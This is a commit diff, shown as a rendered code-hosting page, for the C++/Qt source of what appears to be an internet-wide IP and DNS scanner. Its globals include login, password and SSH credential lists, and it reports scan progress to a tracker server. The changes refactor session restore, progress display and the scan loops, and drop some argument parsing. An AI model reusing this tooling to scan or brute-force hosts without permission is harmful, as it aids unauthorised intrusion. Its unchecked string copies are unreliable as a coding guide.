strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data());
|
||||||
@ -2374,6 +2387,9 @@ void setUIText(char *field, QLineEdit *qle, const char *resStr) {
|
|||||||
}
|
}
|
||||||
void RestoreSession()
|
void RestoreSession()
|
||||||
{
|
{
|
||||||
|
ZeroMemory(gPorts, sizeof(gPorts));
|
||||||
|
ZeroMemory(gTLD, sizeof(gTLD));
|
||||||
|
|
||||||
FILE *resFile = fopen("restore", "r");
|
FILE *resFile = fopen("restore", "r");
|
||||||
char resStr[128] = {0};
|
char resStr[128] = {0};
|
||||||
char *lex;
|
char *lex;
|
||||||
@ -2431,13 +2447,14 @@ void RestoreSession()
|
|||||||
qLex.replace("[09]", "\\d");
|
qLex.replace("[09]", "\\d");
|
||||||
ui->lineEditStartIPDNS->setText(qLex);
|
ui->lineEditStartIPDNS->setText(qLex);
|
||||||
lex = strtok(NULL, " ");
|
lex = strtok(NULL, " ");
|
||||||
strcpy(gFirstDom, lex);
|
if(strstr(lex, ".") != NULL) {
|
||||||
|
strcpy(gTLD, lex);
|
||||||
lex = strtok(NULL, " ");
|
lex = strtok(NULL, " ");
|
||||||
|
}
|
||||||
gThreads = atoi(lex);
|
gThreads = atoi(lex);
|
||||||
|
|
||||||
ui->lineEditThread->setText(QString(lex));
|
ui->lineEditThread->setText(QString(lex));
|
||||||
ui->lineILVL->setText(QString(gFirstDom));
|
ui->lineILVL->setText(QString(gTLD));
|
||||||
ui->tabMainWidget->setCurrentIndex(1);
|
ui->tabMainWidget->setCurrentIndex(1);
|
||||||
ui->startScanButton_4->setText("RESTORE");
|
ui->startScanButton_4->setText("RESTORE");
|
||||||
}
|
}
|
||||||
|
@ -34,14 +34,13 @@ unsigned int Activity = 0;
|
|||||||
|
|
||||||
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
|
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
|
||||||
double ips = 0;
|
double ips = 0;
|
||||||
char top_level_domain[128] = {0};
|
|
||||||
char **GlobalNegatives = 0;
|
char **GlobalNegatives = 0;
|
||||||
char **loginLst, **passLst;
|
char **loginLst, **passLst;
|
||||||
char **wfLoginLst, **wfPassLst;
|
char **wfLoginLst, **wfPassLst;
|
||||||
char **sshlpLst;
|
char **sshlpLst;
|
||||||
char saveEndIP[128] = {0};
|
char saveEndIP[128] = {0};
|
||||||
char gRange[128] = {0};
|
char gRange[128] = {0};
|
||||||
char gFirstDom[128] = {0};
|
char gTLD[128] = {0};
|
||||||
char gPorts[65536] = {0};
|
char gPorts[65536] = {0};
|
||||||
char metaRange[256] = {0};
|
char metaRange[256] = {0};
|
||||||
char metaPercent[256] = {0};
|
char metaPercent[256] = {0};
|
||||||
@ -51,6 +50,7 @@ char metaETA[256] = {0};
|
|||||||
char metaOffline[256] = {0};
|
char metaOffline[256] = {0};
|
||||||
|
|
||||||
char currentIP[MAX_ADDR_LEN] = {0};
|
char currentIP[MAX_ADDR_LEN] = {0};
|
||||||
|
char currentMask[128] = {0};
|
||||||
char finalIP[32] = {0};
|
char finalIP[32] = {0};
|
||||||
|
|
||||||
bool ErrLogFirstTime = true;
|
bool ErrLogFirstTime = true;
|
||||||
@ -212,10 +212,10 @@ void _SaveBackupToFile()
|
|||||||
char endStr[128] = {0};
|
char endStr[128] = {0};
|
||||||
|
|
||||||
if(gMode == 0 || gMode == 1)
|
if(gMode == 0 || gMode == 1)
|
||||||
{
|
{
|
||||||
if(gMode == 1)
|
if(gMode == 1)
|
||||||
{
|
{
|
||||||
strcpy(endStr, currentIP);
|
strcpy(endStr, currentMask);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -224,7 +224,8 @@ void _SaveBackupToFile()
|
|||||||
|
|
||||||
if(strlen(endStr) > 0)
|
if(strlen(endStr) > 0)
|
||||||
{
|
{
|
||||||
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n", gMode, endStr, (gMode ? top_level_domain : ""), gThreads, gPorts);
|
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n",
|
||||||
|
gMode, endStr, gTLD, gThreads, gPorts);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
};
|
};
|
||||||
@ -379,8 +380,7 @@ void _timer() {
|
|||||||
strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
|
strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
|
||||||
|
|
||||||
|
|
||||||
stt->doEmitionIPS(QString(timeLeft));
|
stt->doEmitionIPS(QString(timeLeft));
|
||||||
stt->doEmitionOffline(QString::number(offlines));
|
|
||||||
|
|
||||||
ZeroMemory(timeLeft, sizeof(timeLeft));
|
ZeroMemory(timeLeft, sizeof(timeLeft));
|
||||||
ZeroMemory(dbuffer, sizeof(dbuffer));
|
ZeroMemory(dbuffer, sizeof(dbuffer));
|
||||||
@ -564,7 +564,7 @@ void _tracker() {
|
|||||||
else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); //
|
else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); //
|
||||||
jsonMeta.insert("range", QJsonValue(QString(metaRange)) );
|
jsonMeta.insert("range", QJsonValue(QString(metaRange)) );
|
||||||
jsonMeta.insert("current", QJsonValue(QString(currentIP)) );
|
jsonMeta.insert("current", QJsonValue(QString(currentIP)) );
|
||||||
if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD
|
if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(gTLD))); //TLD
|
||||||
jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) );
|
jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) );
|
||||||
jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) );
|
jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) );
|
||||||
jsonMeta.insert("saved", QJsonValue(QString::number(saved)) );
|
jsonMeta.insert("saved", QJsonValue(QString::number(saved)) );
|
||||||
@ -759,7 +759,8 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void _connect() {
|
void _connect() {
|
||||||
std::string ip = "";
|
|
||||||
|
std::string ip = "";
|
||||||
while (globalScanFlag) {
|
while (globalScanFlag) {
|
||||||
std::unique_lock<std::mutex> lk(Threader::m);
|
std::unique_lock<std::mutex> lk(Threader::m);
|
||||||
Threader::cv.wait(lk, []{return Threader::ready; });
|
Threader::cv.wait(lk, []{return Threader::ready; });
|
||||||
@ -772,25 +773,26 @@ void _connect() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!Threader::ipQueue.empty()) {
|
if (!Threader::ipQueue.empty()) {
|
||||||
ip = Threader::ipQueue.front();
|
ip = Threader::ipQueue.front();
|
||||||
Threader::ipQueue.pop();
|
Threader::ipQueue.pop();
|
||||||
Threader::ready = false;
|
Threader::ready = false;
|
||||||
lk.unlock();
|
lk.unlock();
|
||||||
|
|
||||||
if (ip.size() == 0) return;
|
ConInc();
|
||||||
|
|
||||||
ConInc();
|
|
||||||
for (int i = 0; i <= overallPorts; ++i)
|
for (int i = 0; i <= overallPorts; ++i)
|
||||||
{
|
{
|
||||||
if (!globalScanFlag) break;
|
if (!globalScanFlag) break;
|
||||||
if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break;
|
if (Connector::_ConnectToPort((char*)ip.c_str(), portArr[i]) == -2) break;
|
||||||
};
|
};
|
||||||
ConDec();
|
ConDec();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
inline void progressOutput(unsigned long target) {
|
void verboseProgress(unsigned long target) {
|
||||||
|
|
||||||
|
stt->doEmitionIPRANGE(QString(currentIP));
|
||||||
|
|
||||||
char targetNPers[128] = {0};
|
char targetNPers[128] = {0};
|
||||||
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
|
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
|
||||||
|
|
||||||
@ -801,18 +803,6 @@ inline void progressOutput(unsigned long target) {
|
|||||||
sprintf(metaPercent, "%.1f",
|
sprintf(metaPercent, "%.1f",
|
||||||
percent);
|
percent);
|
||||||
}
|
}
|
||||||
void verboseProgress(unsigned long target, const char *ip) {
|
|
||||||
|
|
||||||
stt->doEmitionIPRANGE(QString(ip));
|
|
||||||
strcpy(currentIP, ip);
|
|
||||||
progressOutput(target);
|
|
||||||
}
|
|
||||||
void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, const char *mask) {
|
|
||||||
|
|
||||||
stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
|
|
||||||
strcpy(currentIP, mask);
|
|
||||||
progressOutput(target);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
||||||
@ -1511,29 +1501,9 @@ int ParseArgs(int argc, char *argv[]) {
|
|||||||
int indexPorts = 0;
|
int indexPorts = 0;
|
||||||
|
|
||||||
if(strstr(argv[1], "-f") != NULL)
|
if(strstr(argv[1], "-f") != NULL)
|
||||||
{
|
{
|
||||||
gThreads = atoi(argv[3]);
|
FileLoader(argv[2]);
|
||||||
threads = gThreads;
|
}
|
||||||
|
|
||||||
FileLoader(argv[2]);
|
|
||||||
gMode = -1;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
gMode = atoi(argv[1]);
|
|
||||||
|
|
||||||
if(gMode == 0) //Mode 0 (IP scan)
|
|
||||||
{
|
|
||||||
gThreads = atoi(argv[3]);
|
|
||||||
}
|
|
||||||
else if(gMode == 1) //Mode 1 (DNS scan)
|
|
||||||
{
|
|
||||||
strcpy(gFirstDom, argv[3]);
|
|
||||||
gThreads = atoi(argv[4]);
|
|
||||||
};
|
|
||||||
|
|
||||||
threads = gThreads;
|
|
||||||
};
|
|
||||||
|
|
||||||
if(gMode == 0)
|
if(gMode == 0)
|
||||||
{
|
{
|
||||||
@ -1567,7 +1537,6 @@ int ParseArgs(int argc, char *argv[]) {
|
|||||||
strcpy(gRange, argv[2]);
|
strcpy(gRange, argv[2]);
|
||||||
strcpy(saveEndIP, gRange);
|
strcpy(saveEndIP, gRange);
|
||||||
};
|
};
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
for(int i = 1; i <= argc - 1; i++)
|
for(int i = 1; i <= argc - 1; i++)
|
||||||
@ -1670,9 +1639,9 @@ int ParseArgs(int argc, char *argv[]) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
|
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_', '-',
|
||||||
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
||||||
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'};
|
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
|
||||||
|
|
||||||
int _getPos(char l) {
|
int _getPos(char l) {
|
||||||
for(int i = 0; i < 38; ++i)
|
for(int i = 0; i < 38; ++i)
|
||||||
@ -1748,17 +1717,15 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
strcpy(currentIP, saveMask);
|
strcpy(currentMask, saveMask);
|
||||||
|
|
||||||
while(cons >= gThreads && globalScanFlag) Sleep(300);
|
while(cons >= gThreads && globalScanFlag) Sleep(300);
|
||||||
if(!globalScanFlag) return 0;
|
if(!globalScanFlag) return 0;
|
||||||
|
|
||||||
verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask);
|
++indexIP;
|
||||||
std::string res = std::string(mask) + std::string(top_level_domain);
|
sprintf(currentIP, "%s%s", mask, gTLD);
|
||||||
|
verboseProgress(--gTargets);
|
||||||
|
|
||||||
++indexIP;
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
|
||||||
Threader::fireThread(res, (void*(*)(void))_connect);
|
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -1767,12 +1734,13 @@ void runAuxiliaryThreads() {
|
|||||||
lpThread.detach();
|
lpThread.detach();
|
||||||
std::thread fuThread(FileDownloader::checkWebFiles);
|
std::thread fuThread(FileDownloader::checkWebFiles);
|
||||||
fuThread.detach();
|
fuThread.detach();
|
||||||
std::thread saverThread(_saver);
|
|
||||||
saverThread.detach();
|
|
||||||
std::thread trackerThread(_tracker);
|
std::thread trackerThread(_tracker);
|
||||||
trackerThread.detach();
|
trackerThread.detach();
|
||||||
std::thread timerThread(_timer);
|
std::thread timerThread(_timer);
|
||||||
timerThread.detach();
|
timerThread.detach();
|
||||||
|
Sleep(1000);
|
||||||
|
std::thread saverThread(_saver);
|
||||||
|
saverThread.detach();
|
||||||
}
|
}
|
||||||
|
|
||||||
int startScan(char* args) {
|
int startScan(char* args) {
|
||||||
@ -1847,8 +1815,7 @@ int startScan(char* args) {
|
|||||||
unsigned long offset = ip2 - i;
|
unsigned long offset = ip2 - i;
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str());
|
|
||||||
|
|
||||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
||||||
|
|
||||||
@ -1858,13 +1825,13 @@ int startScan(char* args) {
|
|||||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||||
|
|
||||||
++indexIP;
|
++indexIP;
|
||||||
std::string res = ipVec[0];
|
strcpy(currentIP, ipVec[0].c_str());
|
||||||
ipVec.erase(ipVec.begin());
|
ipVec.erase(ipVec.begin());
|
||||||
|
|
||||||
verboseProgress(gTargets--, res.c_str());
|
verboseProgress(--gTargets);
|
||||||
|
|
||||||
Threader::fireThread(res, (void*(*)(void))_connect);
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -1879,14 +1846,13 @@ int startScan(char* args) {
|
|||||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
if (!globalScanFlag) break;
|
if (!globalScanFlag) break;
|
||||||
|
|
||||||
std::string res = "";
|
|
||||||
++indexIP;
|
++indexIP;
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
res = std::string(inet_ntoa(tAddr));
|
strcpy(currentIP, inet_ntoa(tAddr));
|
||||||
verboseProgress(gTargets--, res.c_str());
|
verboseProgress(--gTargets);
|
||||||
|
|
||||||
Threader::fireThread(res, (void*(*)(void))_connect);
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@ -1894,8 +1860,6 @@ int startScan(char* args) {
|
|||||||
}
|
}
|
||||||
else if (gMode == 1)
|
else if (gMode == 1)
|
||||||
{
|
{
|
||||||
strcpy(top_level_domain, gFirstDom);
|
|
||||||
|
|
||||||
char dataEntry[1024] = { 0 };
|
char dataEntry[1024] = { 0 };
|
||||||
int innerCounter = 0;
|
int innerCounter = 0;
|
||||||
int sz = strlen(saveEndIP);
|
int sz = strlen(saveEndIP);
|
||||||
@ -1946,7 +1910,8 @@ int startScan(char* args) {
|
|||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
memset(dataEntry + innerCounter + 1, '\0', 1);
|
memset(dataEntry + innerCounter + 1, '\0', 1);
|
||||||
|
strcpy(currentMask, dataEntry);
|
||||||
|
|
||||||
for (int i = 0; i < sz; ++i)
|
for (int i = 0; i < sz; ++i)
|
||||||
{
|
{
|
||||||
@ -2004,7 +1969,7 @@ int startScan(char* args) {
|
|||||||
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
stt->doEmitionYellowFoundData("Starting DNS-scan...");
|
||||||
stt->doEmitionChangeStatus("Scanning...");
|
stt->doEmitionChangeStatus("Scanning...");
|
||||||
|
|
||||||
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
|
int y = _GetDNSFromMask(dataEntry, dataEntry, dataEntry);
|
||||||
if (y == -1)
|
if (y == -1)
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("DNS-Mode error");
|
stt->doEmitionRedFoundData("DNS-Mode error");
|
||||||
@ -2054,8 +2019,7 @@ int startScan(char* args) {
|
|||||||
unsigned long offset = ip2 - i;
|
unsigned long offset = ip2 - i;
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str());
|
|
||||||
|
|
||||||
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
|
||||||
|
|
||||||
@ -2065,13 +2029,12 @@ int startScan(char* args) {
|
|||||||
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
if (!globalScanFlag) goto haters_gonna_hate_IM;
|
||||||
|
|
||||||
++indexIP;
|
++indexIP;
|
||||||
std::string res = ipVec[0];
|
strcpy(currentIP, ipVec[0].c_str());
|
||||||
ipVec.erase(ipVec.begin());
|
ipVec.erase(ipVec.begin());
|
||||||
|
verboseProgress(--gTargets);
|
||||||
|
|
||||||
verboseProgress(gTargets--, res.c_str());
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
|
||||||
Threader::fireThread(res, (void*(*)(void))_connect);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -2087,10 +2050,10 @@ int startScan(char* args) {
|
|||||||
|
|
||||||
++indexIP;
|
++indexIP;
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
tAddr.s_addr = ntohl(i);
|
||||||
std::string res = std::string(inet_ntoa(tAddr));
|
strcpy(currentIP, inet_ntoa(tAddr));
|
||||||
verboseProgress(gTargets--, res.c_str());
|
verboseProgress(--gTargets);
|
||||||
Threader::fireThread(res, (void*(*)(void))_connect);
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
};
|
};
|
||||||
|
Loading…
Reference in New Issue
Block a user